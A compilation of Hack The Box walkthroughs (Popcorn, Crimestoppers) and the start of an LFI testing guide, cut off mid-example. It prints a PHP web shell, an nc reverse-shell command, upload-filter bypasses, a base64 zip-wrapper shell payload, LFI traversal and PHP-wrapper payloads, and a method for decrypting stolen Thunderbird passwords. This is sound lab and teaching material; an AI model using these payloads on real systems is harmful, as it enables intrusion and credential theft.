HTB – Popcorn

Today we are going to solve another CTF challenge “Popcorn” which is available online for those who want to increase their skill in penetration testing. Popcorn is retried vulnerable lab presented by Hack the Box.

Level: Beginner

Task: find user.txt and root.txt file on victim’s machine.

Let’s begin with nmap port enumeration.

root@kali:~/htb/popcorn# nmap -sC -sV 10.10.10.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 21:32 CET
Nmap scan report for 10.10.10.6
Host is up (0.039s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_ 2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open http Apache httpd 2.2.12 ((Ubuntu))
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.93 seconds

Nmap reveals a webserver running on port 80. Upon browsing to it, we see the homepage is just the default installation page. Let’s try and fuzz a bit to see if we can find some directories.

Dirbuster

DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Mon Sep 18 02:05:46 EDT 2017
--------------------------------

http://10.10.10.6:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/
/test/
/icons/
/torrent/
/rename/

Dirs found with a 403 response:

/doc/
/cgi-bin/
--------------------------------
--------------------------------

We see the following accessible directories: test, icons, torrent and rename. Rename is just a simple PHP script that renames a file given the full path, although it only has permission to modify files in the web directory. It may come in handy later, but let’s put it aside for now.

Torrent, on the other hand, looks like a public and very outdated webapp! Let’s run Dirb against it quickly to see if there are any interesting directories.

root@kali:~/htb/popcorn# dirb http://10.10.10.6

-----------------
DIRB v2.22 
By The Dark Raver
-----------------

START_TIME: Tue Feb 5 21:36:27 2019
URL_BASE: http://10.10.10.6/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.6/ ----
+ http://10.10.10.6/cgi-bin/ (CODE:403|SIZE:286) 
+ http://10.10.10.6/index (CODE:200|SIZE:177) 
+ http://10.10.10.6/index.html (CODE:200|SIZE:177) 
+ http://10.10.10.6/server-status (CODE:403|SIZE:291) 
+ http://10.10.10.6/test (CODE:200|SIZE:47330) 
==> DIRECTORY: http://10.10.10.6/torrent/ 

---- Entering directory: http://10.10.10.6/torrent/ ----
==> DIRECTORY: http://10.10.10.6/torrent/admin/ 
+ http://10.10.10.6/torrent/browse (CODE:200|SIZE:9278) 
+ http://10.10.10.6/torrent/comment (CODE:200|SIZE:936) 
+ http://10.10.10.6/torrent/config (CODE:200|SIZE:0) 
==> DIRECTORY: http://10.10.10.6/torrent/css/ 
==> DIRECTORY: http://10.10.10.6/torrent/database/ 
+ http://10.10.10.6/torrent/download (CODE:200|SIZE:0) 
+ http://10.10.10.6/torrent/edit (CODE:200|SIZE:0) 
==> DIRECTORY: http://10.10.10.6/torrent/health/ 
--snip--
==> DIRECTORY: http://10.10.10.6/torrent/torrents/ 
==> DIRECTORY: http://10.10.10.6/torrent/upload/ 
+ http://10.10.10.6/torrent/upload_file (CODE:200|SIZE:0) 
==> DIRECTORY: http://10.10.10.6/torrent/users/

Exploitation

First thing that came to mind was renaming the blank index file in /secure/ to reveal the directory contents, however it seems to be jailed to the /rename/ directory.

At this point, we can try creating an account and see what our options are.

At first glance, we see an upload section. Wonder what we can do there!

Torrent Hoster Upload Section

Grab any old .torrent file from your favorite site. Ubuntu, Kali or the “bay” if you know what I mean. You can always create your own! After that, list your torrent on the site.

Once you have listed a torrent, go ahead and click on Edit this torrent and you will now be able to upload an image file for it.

For this next part, we will want to use Burp to intercept our image upload request. This will allow us to modify a few things to hopefully bypass the image file checks and get a malicious file on the server. Once you have Burp listening and your browser set to use it as a proxy, upload a PHP reverse shell in the image upload form. For good measure, I named mine puck.gif.php in case it performed a basic strpos or regex check for common image file extensions.

The intercepted request:f you look, you can see Content-Type: application/x-php which we can easily change to Content-Type: image/png and hopefully that will bypass the site’s filetype validity checks.

PHP Shell Upload

Success! Looks like our PHP file should now be on the server. Going back to our dirbust, it is probably safe to assume it is in either /upload/ or /images/. Images is most likely reserved for images distributed with the site files, so let’s try upload first.

Look at that, a PHP file. For my file, I used <?php echo (system($_GET['puck'])); ?> which lets you execute commands on the server by doing the following: http://10.10.10.6/torrent/upload/b94d672f30ed3713a628870f69597e933c82aa52.php?puck=uname -a

Now that we have RCE on the server, we can do some fun stuff. Let’s set up a nc listener on our local machine with nc -nvlp 443

We can initiate the reverse connection by browsing to http://10.10.10.6/torrent/upload/b94d672f30ed3713a628870f69597e933c82aa52.php?puck=nc -e /bin/sh 10.10.14.28 443

I found that there is an exploit which is used for getting Local privilege escalation. We have simply downloaded the file on our Desktop.

We upload the file using python

c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.6 - - [06/Feb/2019 08:49:40] "GET /15704.c HTTP/1.0" 200 -
c:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.6: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.6] 36089: NO_DATA
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
 09:36:54 up 1 day, 18:03,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ cat /home/george/user.txt
5e3*****136
$ cd /tmp
$ wget http://10.10.14.15/15704.c
--2019-02-06 09:44:24--  http://10.10.14.15/15704.c
Connecting to 10.10.14.15:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9487 (9.3K) [text/plain]
Saving to: `15704.c'

     0K .........                                             100%  288K=0.03s

2019-02-06 09:44:24 (288 KB/s) - `15704.c' saved [9487/9487]

$ gcc 15704.c -o exploit
$ chmod +x exploit
$ ./exploit
id
uid=0(root) gid=0(root)
cat /root/root.txt
f12*****b14

Author: Jacco Straathof

there is also a video from ippsec

HTB – Crimestoppers

Today we are going to solve another CTF challenge “Crimestoppers” which is available online for those who want to increase their skill in penetration testing. Crimestoppers is retried vulnerable lab presented by Hack the Box.

Level: Intermediate

Task: find user.txt and root.txt file on victim’s machine.

Let’s begin with nmap port enumeration.

 

root@kali:~# nmap -sV 10.10.10.80

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-09 08:41 EST
Nmap scan report for 10.10.10.80
Host is up (0.060s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.25 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.01 seconds

Only one port to work with, at least we know what to target.

Checking out the website in a browser presents us with a Mr. Robot themed site.

site

We can see at the top a link for an Upload page.

upload

Looking at the source code we see an interesting comment.

uploadsource

If we test submitting a tip we get back a url with a secret name variable and what looks like a hash.

GET SCREENSHOT OF UPLOAD

Furthermore if we look at the site in Burp we can see an admin cookie being set to 0. If we modify that cookie’s value to 1 we get a new List menu option.

list

Checking out the List option we are presented with a list of our uploads and also a Whiterose.txt.

uploads

whiterose

Just based off this hint here we can assume there is an LFI vulnerability. If we do a simple test on the op parameter we get a funny response.

lfi

However if we try using a PHP wrapper to base64 encode the source, we are successful.

root@kali:~# curl http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=upload
<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="utf-8">
 <meta http-equiv="X-UA-Compatible" content="IE=edge">
 <meta name="viewport" content="width=device-width, initial-scale=1">
 <meta name="description" content="">
 <meta name="author" content="">
 <title>FBIs Most Wanted: FSociety</title>
 <!-- Bootstrap Core CSS -->
 <link href="css/bootstrap.min.css" rel="stylesheet">
 <!-- Custom CSS -->
 <link href="css/portfolio-item.css" rel="stylesheet">
</head>
<body>
<!-- Navigation -->
<nav class="navbar navbar-inverse navbar-fixed-top" role="navigation">
  <div class="container">
    <div class="navbar-header">
       <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
         <span class="sr-only">Toggle navigation</span>
         <span class="icon-bar"></span>
         <span class="icon-bar"></span>
         <span class="icon-bar"></span>
       </button>
       <a class="navbar-brand" href="?op=home">Home</a>
     </div>
     <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
       <ul class="nav navbar-nav">
         <li><a href="?op=upload">Upload</a></li>
                </ul>
     </div>
  </div>
</nav>

PD9waHAKaW5jbHVkZSAnY29tbW9uLnBocCc7CgovLyBTdG9wIHRoZSBhdXRvbWF0ZWQgdG9vbHMgZnJvbSBmaWxsaW5nIHVwIG91ciB0aWNrZXQgc3lzdGVtLgpzZXNzaW9uX3N0YXJ0KCk7CmlmIChlbXB0eSgkX1NFU1NJT05bJ3Rva2VuJ10pKSB7CiAgICAJJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChvcGVuc3NsX3JhbmRvbV9wc2V1ZG9fYnl0ZXMoMzIpKTsKfQokdG9rZW4gPSAkX1NFU1NJT05bJ3Rva2VuJ107CgokY2xpZW50X2lwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107IAoKLy8gSWYgdGhpcyBpcyBhIHN1Ym1pc3Npb24sIHdyaXRlICR0aXAgdG8gZmlsZS4KCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pICYmIGlzc2V0KCRfUE9TVFsndGlwJ10pKSB7CgkvLyBDU1JGIFRva2VuIHRvIGhlbHAgZW5zdXJlIHRoaXMgdXNlciBjYW1lIGZyb20gb3VyIHN1Ym1pc3Npb24gZm9ybS4KCWlmICghZW1wdHkoJF9QT1NUWyd0b2tlbiddKSkgewoJICAgIGlmIChoYXNoX2VxdWFscygkdG9rZW4sICRfUE9TVFsndG9rZW4nXSkpIHsKCSAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChvcGVuc3NsX3JhbmRvbV9wc2V1ZG9fYnl0ZXMoMzIpKTsKCQkvLyBQbGFjZSB0aXBzIGluIHRoZSBmb2xkZXIgb2YgdGhlIGNsaWVudCBJUCBBZGRyZXNzLgoJCWlmICghaXNfZGlyKCd1cGxvYWRzLycgLiAkY2xpZW50X2lwKSkgewoJCSAgICBta2RpcigndXBsb2Fkcy8nIC4gJGNsaWVudF9pcCwgMDc1NSwgZmFsc2UpOwoJCX0KCSAgICAJJHRpcCA9ICRfUE9TVFsndGlwJ107CiAgICAJCSRzZWNyZXRuYW1lID0gZ2VuRmlsZW5hbWUoKTsKCSAgICAJZmlsZV9wdXRfY29udGVudHMoInVwbG9hZHMvIi4gJGNsaWVudF9pcCAuICcvJyAuICRzZWNyZXRuYW1lLCAgJHRpcCk7CgkJaGVhZGVyKCJMb2NhdGlvbjogP29wPXZpZXcmc2VjcmV0bmFtZT0kc2VjcmV0bmFtZSIpOwogICAgCSAgIH0gZWxzZSB7CgkJcHJpbnQgJ0hhY2tlciBEZXRlY3RlZC4nOwoJCXByaW50ICR0b2tlbjsKCQlkaWUoKTsKICAgCSB9Cgl9Cn0gZWxzZSB7Cj8+CjwhLS0gIzU5OiBTUUwgSW5qZWN0aW9uIGluIFRpcCBTdWJtaXNzaW9uIC0gUmVtb3ZlZCBkYXRhYmFzZSByZXF1aXJlbWVudCBieSBjaGFuZ2luZyBzdWJtaXQgdGlwIHRvIGNyZWF0ZSBhIGZpbGUuIC0tPgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgPGgyPlRpcHM6PC9oMj4KICAgIDxiciAvPgogICAgQW55IGluZm9ybWF0aW9uIHRoYXQgbGVhZHMgdG8gdGhlIGFycmVzdCBvZiBhbiAjZnNvY2lldHkgbWVtYmVyIHdpbGwgYmUgcmV3YXJkZWQgZ2Vub3JvdXNseS4KICAgIDxiciAvPgogICAgPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI/b3A9dXBsb2FkIiBtZXRob2Q9IlBPU1QiPgogICAgICAgIDxsYWJlbCBmb3I9InNuYW1lIj5JbmZvcm1hdGlvbjogPC9sYWJlbD48YnIgLz4KICAgICAgICA8dGV4dGFyZWEgc3R5bGU9IndpZHRoOjQwMHB4OyBoZWlnaHQ6MTUwcHg7IiBpZD0idGlwIiBuYW1lPSJ0aXAiPiA8L3RleHRhcmVhPjxiciAvPgogICAgICAgIDxsYWJlbCBmb3I9InNuYW1lIj5OYW1lOiA8L2xhYmVsPgoJPGlucHV0IHR5cGU9InRleHQiIGlkPSJuYW1lIiBuYW1lPSJuYW1lIiB2YWx1ZT0iIiBzdHlsZT0id2lkdGg6MzU1cHg7IiAvPgoJPGlucHV0IHR5cGU9InRleHQiIGlkPSJ0b2tlbiIgbmFtZT0idG9rZW4iIHN0eWxlPSJkaXNwbGF5OiBub25lIiB2YWx1ZT0iPD9waHAgZWNobyAkdG9rZW47ID8+IiBzdHlsZT0id2lkdGg6MzU1cHg7IiAvPgogICAgICAgIDxiciAvPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgVGlwISIgLz4KICAgIDwvZm9ybT4KPD9waHAKfQo/Pgo=        <footer>
            <div class="row">
                <div class="col-lg-12">
		<p>Copyright &copy; Non Profit Satire 2017</p>
                </div>
            </div>
            <!-- /.row -->
        </footer>

    </div>
    <!-- /.container -->

    <!-- jQuery -->
    <script src="js/jquery.js"></script>

	    <!-- Bootstrap Core JavaScript -->
		        <script src="js/bootstrap.min.js"></script>

	</body>

		</html>

Now we can base64 decode that output and view the source code.

root@kali:~# base64 -d <<< PD9waHAKa --snip --T4KPD9waHAKfQo/Pgo= or root@kali:~/Documents/crimestoppers# vim upload.b64 root@kali:~/Documents/crimestoppers# base64 -d upload.b64 > uload.php root@kali:~/Documents/crimestoppers# vim upload.php
<?php
include 'common.php';

// Stop the automated tools from filling up our ticket system.
session_start();
if (empty($_SESSION['token'])) {
    	$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
}
$token = $_SESSION['token'];

$client_ip = $_SERVER['REMOTE_ADDR']; 

// If this is a submission, write $tip to file.

if(isset($_POST['submit']) && isset($_POST['tip'])) {
	// CSRF Token to help ensure this user came from our submission form.
	if (!empty($_POST['token'])) {
	    if (hash_equals($token, $_POST['token'])) {
	        $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
		// Place tips in the folder of the client IP Address.
		if (!is_dir('uploads/' . $client_ip)) {
		    mkdir('uploads/' . $client_ip, 0755, false);
		}
	    	$tip = $_POST['tip'];
    		$secretname = genFilename();
	    	file_put_contents("uploads/". $client_ip . '/' . $secretname,  $tip);
		header("Location: ?op=view&secretname=$secretname");
    	   } else {
		print 'Hacker Detected.';
		print $token;
		die();
   	 }
	}
} else {
?>
<!-- #59: SQL Injection in Tip Submission - Removed database requirement by changing submit tip to create a file. -->
<div class="container">
    <h2>Tips:</h2>
    <br />
    Any information that leads to the arrest of an #fsociety member will be rewarded genorously.
    <br />
    <form enctype="multipart/form-data" action="?op=upload" method="POST">
        <label for="sname">Information: </label><br />
        <textarea style="width:400px; height:150px;" id="tip" name="tip"> </textarea><br />
        <label for="sname">Name: </label>
	<input type="text" id="name" name="name" value="" style="width:355px;" />
	<input type="text" id="token" name="token" style="display: none" value="<?php echo $token; ?>" style="width:355px;" />
        <br />
        <input type="submit" name="submit" value="Send Tip!" />
    </form>
<?php
}
?>

Here we can see that a directory with our IP address is getting created under uploads and uploading our tip there.

Using the LFI on the source of index.php we can also see what was triggering that response on generic LFI attempts with the preg_match statements on the op parameter.

<?php
error_reporting(0);
define('FROM_INDEX', 1);

$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op) || preg_match('/\0/', $op))
    die('Are you really trying ' . htmlentities($op) . '!?  Did we Time Travel?  This isn\'t the 90\'s');

//Cookie
if(!isset($_COOKIE['admin'])) {
  setcookie('admin', '0');
  $_COOKIE['admin'] = '0';
}

We can also see the genFilename function located in common.php that is being called in upload.php. This is where the hash value for the tip upload is coming from.

<?php
/* Stop hackers. */
if(!defined('FROM_INDEX')) die();

// If the hacker cannot control the filename, it's totally safe to let them write files... Or is it?
function genFilename() {
	return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}

?>

Exploitation

For us to get code execution on the box we will have to leverage Burp as well as the PHP zip wrapper.

First we will need to create a PHP reverse shell and then zip it.

root@kali:~/Documents/crimestoppers# zip -0 shell.zip shell.php 
adding: shell.php (stored 0%)

I used the trusty pentestmonkey php reverse shell located in /usr/share/webshells/php in Kali and set the listener IP and port.

Next we will intercept an upload request in Burp.

uploadrequest

In the area where the body of the tip normally goes, which in the above image is labeled shellzipwe will use the option in Burp to Paste from a File and select our zipped shell.

ziprequest

With that set we can forward the request and we’ll get a response with our tip filename hash.

or in burp paste below base64 code (and then decode it and appending %23 and the name of the zipped file.

root@kali:~/Documents/crimestoppers# base64 -w0 puck.zip 
UEsDBAoAAAAAAFJPZE2FNU8ILgAAAC4AAAAIABwAcHVjay5waHBVVAkAA7u03lu/tN5bdXgLAAEEAAAAAAQAAAAAR0lGOAo8P3BocCBlY2hvIHN5c3RlbSgkX1JFUVVFU1RbJ3B1Y2snXSk7ID8+ClBLAQIeAwoAAAAAAFJPZE2FNU8ILgAAAC4AAAAIABgAAAAAAAAAAACkgQAAAABwdWNrLnBocFVUBQADu7TeW3V4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAABwAAAAAAA=

We can verify our upload by downloading our payload directly from the server and do an md5sumto ensure they are indeed the same file.

Using repeater, or your tool of choice we can now request our payload via the PHP zip wrapper including our filename hash and appending %23 and the name of the zipped file.

repeater

And with our netcat listener we catch our shell and spawn a pty.

root@kali:~# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.80] 37378
Linux ubuntu 4.10.0-42-generic #46-Ubuntu SMP Mon Dec 4 14:38:01 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 15:00:56 up 5 days, 12:29,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/$

Privilege Escalation to Dom

Looking in Dom’s home directory we see a .thunderbird folder which is a mail client by Mozilla.

www-data@ubuntu:/home/dom$ ls -al
total 44
drwxr-xr-x 5 dom  dom  4096 Dec 25 18:10 .
drwxr-xr-x 3 root root 4096 Dec 16 12:01 ..
-rw------- 1 dom  dom    52 Dec 16 12:05 .Xauthority
-rw------- 1 dom  dom     5 Dec 22 10:38 .bash_history
-rw-r--r-- 1 dom  dom   220 Dec 16 12:01 .bash_logout
-rw-r--r-- 1 dom  dom  3771 Dec 16 12:01 .bashrc
drwx------ 2 dom  dom  4096 Dec 16 12:03 .cache
-rw-r--r-- 1 dom  dom   675 Dec 16 12:01 .profile
drwx------ 2 dom  dom  4096 Dec 25 13:25 .ssh
-rw-r--r-- 1 dom  dom     0 Dec 16 12:03 .sudo_as_admin_successful
drw-r-xr-x 3 root root 4096 Dec 16 13:39 .thunderbird
-r--r--r-- 1 root root   33 Dec 24 11:22 user.txt

Taking a look inside we find a crimestoppers.htb folder inside ImapMail which includes mail messages.

www-data@ubuntu:/home/dom/.thunderbird/36jinndk.default/ImapMail$ ls -al
total 16
drw-r-xr-x 3 root root 4096 Dec 16 11:23 .
drw-r-xr-x 9 root root 4096 Dec 16 13:37 ..
drw-r-xr-x 2 root root 4096 Dec 16 12:53 crimestoppers.htb
-rw-r-xr-x 1 root root 1236 Dec 16 11:29 crimestoppers.htb.msf

www-data@ubuntu:/home/dom/.thunderbird/36jinndk.default/ImapMail$ ls -al /crimestoppers.htb
drw-r-xr-x 2 root root 4096 Dec 16 12:53 .
drw-r-xr-x 3 root root 4096 Dec 16 11:23 ..
-rw-r-xr-x 1 root root 1268 Dec 16 11:53 Archives.msf
-rw-r-xr-x 1 root root 2716 Dec 16 12:53 Drafts-1
-rw-r-xr-x 1 root root 2599 Dec 16 12:56 Drafts-1.msf
-rw-r-xr-x 1 root root 1265 Dec 16 11:34 Drafts.msf
-rw-r-xr-x 1 root root 1024 Dec 16 11:47 INBOX
-rw-r-xr-x 1 root root 4464 Dec 16 13:37 INBOX.msf
-rw-r-xr-x 1 root root 1268 Dec 16 11:53 Junk.msf
-rw-r-xr-x 1 root root 7767 Dec 16 12:55 Sent-1
-rw-r-xr-x 1 root root 4698 Dec 16 13:37 Sent-1.msf
-rw-r-xr-x 1 root root 1263 Dec 16 11:34 Sent.msf
-rw-r-xr-x 1 root root 1271 Dec 16 11:34 Templates.msf
-rw-r-xr-x 1 root root 1620 Dec 16 11:41 Trash.msf
-rw-r-xr-x 1 root root   25 Dec 16 11:34 msgFilterRules.dat

Taking a look at Drafts-1 we get the following:

<rbird/36jinndk.default/ImapMail/crimestoppers.htb$ cat Drafts-1
From 
FCC: imap://dom%40crimestoppers.htb@crimestoppers.htb/Sent
X-Identity-Key: id1
X-Account-Key: account1
To: elliot@ecorp.htb
From: dom <dom@crimestoppers.htb>
Subject: Potential Rootkit
Message-ID: <1f42c857-08fd-1957-8a2d-fa9a4697ffa5@crimestoppers.htb>
Date: Sat, 16 Dec 2017 12:53:18 -0800
X-Mozilla-Draft-Info: internal/draft; vcard=0; receipt=0; DSN=0; uuencode=0;
 attachmentreminder=0; deliveryformat=4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
MIME-Version: 1.0
Content-Type: text/html; charset=utf-8
Content-Language: en-US
Content-Transfer-Encoding: 8bit

<html>
  <head>

    <meta http-equiv="content-type" content="text/html; charset=utf-8">
  </head>
  <body text="#000000" bgcolor="#FFFFFF">
    <p>Elliot.</p>
    <p>We got a suspicious email from the DarkArmy claiming there is a
      Remote Code Execution bug on our Webserver.  I don't trust them
      and ran rkhunter, it reported that there a rootkit installed
      called: apache_modrootme backdoor.</p>
    <p>According to my research, if this rootkit was on the server I
      should be able to run "nc localhost 80" and then type get root to
      get<br>
      nc localhost 80</p>
    <p>get root<br>
    </p>
    <p><br>
    </p>
  </body>
</html>
From - Sat Dec 16 12:53:19 2017
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
FCC: imap://dom%40crimestoppers.htb@crimestoppers.htb/Sent
X-Identity-Key: id1
X-Account-Key: account1
To: elliot@ecorp.htb
From: dom <dom@crimestoppers.htb>
Subject: Potential Rootkit
Message-ID: <1f42c857-08fd-1957-8a2d-fa9a4697ffa5@crimestoppers.htb>
Date: Sat, 16 Dec 2017 12:53:18 -0800
X-Mozilla-Draft-Info: internal/draft; vcard=0; receipt=0; DSN=0; uuencode=0;
 attachmentreminder=0; deliveryformat=4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
MIME-Version: 1.0
Content-Type: text/html; charset=utf-8
Content-Language: en-US
Content-Transfer-Encoding: 8bit

<html>
  <head>

    <meta http-equiv="content-type" content="text/html; charset=utf-8">
  </head>
  <body text="#000000" bgcolor="#FFFFFF">
    <p>Elliot.</p>
    <p>We got a suspicious email from the DarkArmy claiming there is a
      Remote Code Execution bug on our Webserver.  I don't trust them
      and ran rkhunter, it reported that there a rootkit installed
      called: apache_modrootme backdoor.</p>
    <p>According to my research, if this rootkit was on the server I
      should be able to run "nc localhost 80" and then type get root to
      get<br>
      nc localhost 80</p>
    <p>get root<br>
    </p>
    <p><br>
    </p>
  </body>
</html>

There’s also some back and forth in the INBOX as well. As we can see there’s an apache mod backdoor installed. If we try nc localhost 80 and type get root it does indeed just error out with a 400 error. So we have two options, either try to reverse the mod or go dig through some logs and see what’s been requested in apache.

To do either of those things we’ll need to escalate to Dom first since she’s in the adm group which has read permissions on apache access logs.

Going back to the .thunderbird/36jinndk.default in Dom’s home directory we can see there is a logins.json file.

www-data@ubuntu:/home/dom/.thunderbird/36jinndk.default$ cat logins.json 
{"nextId":3,"logins":[{"id":1,"hostname":"imap://crimestoppers.htb","httpRealm":"imap://crimestoppers.htb","formSubmitURL":null,"usernameField":"","passwordField":"","encryptedUsername":"MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECD387WcBe3c6BBi1iFK/aDf9PjB/6ThOEBJQqjtekeU32Mo=","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECHL1/2x89aL9BBA599gqEL19OHxdrsYIeFMr","guid":"{ac644add-759f-42ff-9337-0a60df088966}","encType":1,"timeCreated":1513452233268,"timeLastUsed":1513452233268,"timePasswordChanged":1513452233268,"timesUsed":1},{"id":2,"hostname":"smtp://crimestoppers.htb","httpRealm":"smtp://crimestoppers.htb","formSubmitURL":null,"usernameField":"","passwordField":"","encryptedUsername":"MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECJt3sgMddDmBBBiBLG1+xV56msveHf6TeQJyEbYeKiHnUl0=","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECCtQjFNTfgl4BBCVOJjKsfEms5eVn1ohSZHC","guid":"{541c134f-1fb3-4a61-b920-b0bbdeff31cb}","encType":1,"timeCreated":1513452233274,"timeLastUsed":1513452233274,"timePasswordChanged":1513452233274,"timesUsed":1}],"disabledHosts":[],"version":2}

We can see that the passwords are encrypted. However we can decrypt them using the key3.dbfile.

To get the password we can copy both of these files onto our attacking box and into our own firefox profile located under ~/.mozilla/firefox/ and under a .default folder. In my case it was zpuhcptf.default. Make backups of your existing key3.db and logins.json if necessary and copy the ones from crimestoppers in.

Now you can launch Firefox and under Security settings you can view the saved passwords under Saved Logins.

firefox

passwords

Now with dom’s password we can simply su and become dom!

www-data@ubuntu:/$ su dom
Password: 
dom@ubuntu:/$

or if we list the ip6 adress of the box logged on as www-data we can ssh

Privilege Escalation to Root

Now that we are dom we can take a look at all the access.log files located in /var/log/apache2and parse them to see if anything interesting shows up. Some of the logs were already gzip’d, so we can simply copy them to /tmp and gzip -d them to view. After looking through a few we finally find something.

dom@ubuntu:/tmp$ cat access.log.3
::1 - - [25/Dec/2017:12:59:19 -0800] "FunSociety" 400 0 "-" "-"
::1 - - [25/Dec/2017:13:00:00 -0800] "FunSociety" 400 0 "-" "-"
127.0.0.1 - - [25/Dec/2017:13:11:04 -0800] "FunSociety" 400 0 "-" "-"
10.10.10.80 - - [25/Dec/2017:13:11:22 -0800] "FunSociety" 400 0 "-" "-"
10.10.10.80 - - [25/Dec/2017:13:11:32 -0800] "42PA" 400 0 "-" "-"
10.10.10.80 - - [25/Dec/2017:13:11:46 -0800] "FunSociety" 400 0 "-" "-"
::1 - - [25/Dec/2017:13:13:12 -0800] "FunSociety" 400 0 "-" "-"
::1 - - [25/Dec/2017:13:13:52 -0800] "FunSociety" 400 0 "-" "-"
::1 - - [25/Dec/2017:13:13:55 -0800] "FunSociety" 400 0 "-" "-"
::1 - - [25/Dec/2017:13:14:00 -0800] "FunSociety" 400 0 "-" "-"
10.10.14.3 - - [25/Dec/2017:13:14:53 -0800] "FunSociety" 400 0 "-" "-"

We can a few connections from loopback addresses trying to GET FunSociety. Which obviously doesn’t exist on the server. Let’s try it out ourself.

dom@ubuntu:/tmp$ nc localhost 80
get FunSociety
rootme-0.5 DarkArmy Edition Ready
id
uid=0(root) gid=0(root) groups=0(root)

And we are root!

Author : absolomb

LFI – Definitive Guide

The definitive guide for LFI vulnerability security testing on penetration testing engagements.

Introduction

Table of Contents

The intent of this document is to help penetration testers and students identify and test LFI vulnerabilities on future pentest engagements by consolidating research for local file inclusion LFI testing techniques. LFI vulnerabilities are typically discovered during web app pen tests using the techniques contained within this document. Additionally, some of the techniques mentioned in this paper are also commonly used in CTF style competitions.


What is a Local File Inclusion (LFI) vulnerability?

Local File Inclusion (LFI) allows an attacker to include files on a server through the web browser. This vulnerability exists when a web application includes a file without correctly sanitising the input, allowing and attacker to manipulate the input and inject path traversal characters and include other files from the web server.

The following is an example of PHP code vulnerable to local file inclusion.

<?php
   $file = $_GET['file'];
   if(isset($file))
   {
       include("pages/$file");
   }
   else
   {
       include("index.php");
   }
?>

Identifying LFI Vulnerabilities within Web Applications

LFI vulnerabilities are easy to identify and exploit. Any script that includes a file from a web server is a good candidate for further LFI testing, for example:

/script.php?page=index.html 

A penetration tester would attempt to exploit this vulnerability by manipulating the file location parameter, such as:

/script.php?page=../../../../../../../../etc/passwd

The above is an effort to display the contents of the /etc/passwd file on a UNIX / Linux based system.

Below is an example of a successful exploitation of an LFI vulnerability on a web application:

LFI Example of a /etc/passwd file being disclosed

PHP Wrappers

PHP has a number of wrappers that can often be abused to bypass various input filters.

PHP Expect Wrapper

PHP expect:// allows execution of system commands, unfortunately the expect PHP module is not enabled by default.

php?page=expect://ls

The payload is sent in a POST request to the server such as:

/fi/?page=php://input&cmd=ls

Example using php://input against DVWA:

Request:

